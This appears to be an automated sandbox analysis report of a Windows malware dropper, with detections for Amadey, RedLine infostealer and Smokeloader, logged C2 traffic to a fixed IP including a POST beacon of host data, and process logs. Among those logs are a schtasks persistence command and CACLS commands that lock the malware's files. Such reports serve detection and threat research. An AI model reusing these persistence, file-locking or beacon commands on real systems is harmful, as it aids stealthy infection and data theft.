HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Mon, 06 Feb 2023 17:35:56 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4

Source: unknown

HTTP traffic detected: POST /Gol478Ns/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 62.204.41.4Content-Length: 91Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1

Source: mnolyk.exe, 0000000F.00000002.775467476.00000000010FA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.arJf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 2.2.arJf.exe.580e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 2.3.arJf.exe.5b0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 2.2.arJf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000002.00000002.363155584.0000000000667000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000002.00000002.362707528.0000000000580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000002.00000003.336400821.00000000005B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A33BA2	0_2_00A33BA2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A35C9E	0_2_00A35C9E
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Code function: 1_2_00F83BA2	1_2_00F83BA2
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Code function: 1_2_00F85C9E	1_2_00F85C9E
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_00408C60	2_2_00408C60
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_0040DC11	2_2_0040DC11
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_00407C3F	2_2_00407C3F
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_00418CCC	2_2_00418CCC
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_00406CA0	2_2_00406CA0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_004028B0	2_2_004028B0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_0041A4BE	2_2_0041A4BE
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_00418244	2_2_00418244
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_00401650	2_2_00401650
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_00402F20	2_2_00402F20
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_004193C4	2_2_004193C4
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_00418788	2_2_00418788
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_00402F89	2_2_00402F89
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_00402B90	2_2_00402B90
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_004073A0	2_2_004073A0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_02020DA7	2_2_02020DA7
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_02020DB0	2_2_02020DB0
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 14_2_010C8530	14_2_010C8530
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 14_2_010C754D	14_2_010C754D
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 14_2_010A6460	14_2_010A6460

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll B5BD049D32F0FAEEA6CE65A0F0D326DE5BC4427A7C1AD24BFB0EA050C1DEC7D3

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2.2.arJf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2.2.arJf.exe.580e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2.3.arJf.exe.5b0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2.2.arJf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000002.00000002.363155584.0000000000667000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000002.00000002.362707528.0000000000580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000002.00000003.336400821.00000000005B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A31F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,		0_2_00A31F90
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Code function: 1_2_00F81F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,		1_2_00F81F90

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: String function: 010B7CE0 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: String function: 010B5E20 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: String function: 0040E1D8 appears 44 times

Source: file.exe	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 431118 bytes, 2 files, at 0x2c +A "brJg.exe" +A "xriv.exe", ID 1582, number 1, 20 datablocks, 0x1503 compression
Source: brJg.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 239238 bytes, 2 files, at 0x2c +A "arJf.exe" +A "nika.exe", ID 1542, number 1, 12 datablocks, 0x1503 compression

Source: file.exe, 00000000.00000003.249730772.00000000049A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs file.exe

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\arJf.exe.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@37/14@0/1

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A33FEF CreateProcessA,WaitForSingleObject,GetExitCodeProcess,CloseHandle,CloseHandle,GetLastError,FormatMessageA,

0_2_00A33FEF

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe

Code function: 2_2_0202A1A8 ChangeServiceConfigA,

2_2_0202A1A8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A34FE0 FindResourceA,LoadResource,LockResource,GetDlgItem,ShowWindow,GetDlgItem,ShowWindow,FreeResource,SendMessageA,

0_2_00A34FE0

Source: file.exe	ReversingLabs: Detection: 69%
Source: file.exe	Virustotal: Detection: 51%

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\brJg.exe
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\arJf.exe
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\nika.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\xriv.exe
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe "C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe"
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "mnolyk.exe" /P "user:N"&&CACLS "mnolyk.exe" /P "user:R" /E&&echo Y\|CACLS "..\4b9a106e76" /P "user:N"&&CACLS "..\4b9a106e76" /P "user:R" /E&&Exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:N"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:R" /E
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:N"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:R" /E
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\brJg.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\xriv.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\arJf.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\nika.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe "C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "mnolyk.exe" /P "user:N"&&CACLS "mnolyk.exe" /P "user:R" /E&&echo Y\|CACLS "..\4b9a106e76" /P "user:N"&&CACLS "..\4b9a106e76" /P "user:R" /E&&Exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:N"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:R" /E	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:N"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:R" /E	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A31F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,		0_2_00A31F90
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Code function: 1_2_00F81F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,		1_2_00F81F90

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A3597D GetCurrentDirectoryA,SetCurrentDirectoryA,GetDiskFreeSpaceA,MulDiv,GetVolumeInformationA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,

0_2_00A3597D

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe

Code function: 2_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,

2_2_004019F0

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6068:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1340:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Mutant created: \Sessions\1\BaseNamedObjects\c1ec479e5342a25940592acf24703eb2

Source: C:\Users\user\Desktop\file.exe	Command line argument: Kernel32.dll	0_2_00A32BFB
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Command line argument: Kernel32.dll	1_2_00F82BFB
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Command line argument: 08A	2_2_00413780

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wextract.pdb source: file.exe, brJg.exe.0.dr
Source:	Binary string: D:\Mktmp\Amadey\Release\Amadey.pdb source: file.exe, 00000000.00000003.249730772.00000000049A9000.00000004.00000020.00020000.00000000.sdmp, xriv.exe, 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmp, xriv.exe, 0000000E.00000000.394369817.00000000010CE000.00000002.00000001.01000000.0000000A.sdmp, mnolyk.exe, 0000000F.00000000.395468637.000000000009E000.00000002.00000001.01000000.0000000B.sdmp, mnolyk.exe, 0000000F.00000002.775153494.000000000009E000.00000002.00000001.01000000.0000000B.sdmp, mnolyk.exe, 0000001A.00000002.404223477.000000000009E000.00000002.00000001.01000000.0000000B.sdmp, mnolyk.exe, 0000001A.00000000.402551757.000000000009E000.00000002.00000001.01000000.0000000B.sdmp, mnolyk.exe, 0000001C.00000002.412679871.000000000009E000.00000002.00000001.01000000.0000000B.sdmp, mnolyk.exe, 0000001C.00000000.412460311.000000000009E000.00000002.00000001.01000000.0000000B.sdmp, mnolyk.exe, 0000001F.00000002.539131975.000000000009E000.00000002.00000001.01000000.0000000B.sdmp, mnolyk.exe, 0000001F.00000000.538897999.000000000009E000.00000002.00000001.01000000.0000000B.sdmp, mnolyk.exe, 00000021.00000002.667838204.000000000009E000.00000002.00000001.01000000.0000000B.sdmp, mnolyk.exe, 00000021.00000000.667524301.000000000009E000.00000002.00000001.01000000.0000000B.sdmp, mnolyk.exe.14.dr, xriv.exe.0.dr
Source:	Binary string: Healer.pdb source: arJf.exe, 00000002.00000002.368629241.00000000021E0000.00000004.00000020.00020000.00000000.sdmp, arJf.exe, 00000002.00000002.368573953.0000000002180000.00000004.08000000.00040000.00000000.sdmp, arJf.exe, 00000002.00000002.368210560.0000000002000000.00000004.08000000.00040000.00000000.sdmp, arJf.exe, 00000002.00000002.368703907.0000000002631000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wextract.pdbGCTL source: file.exe, brJg.exe.0.dr
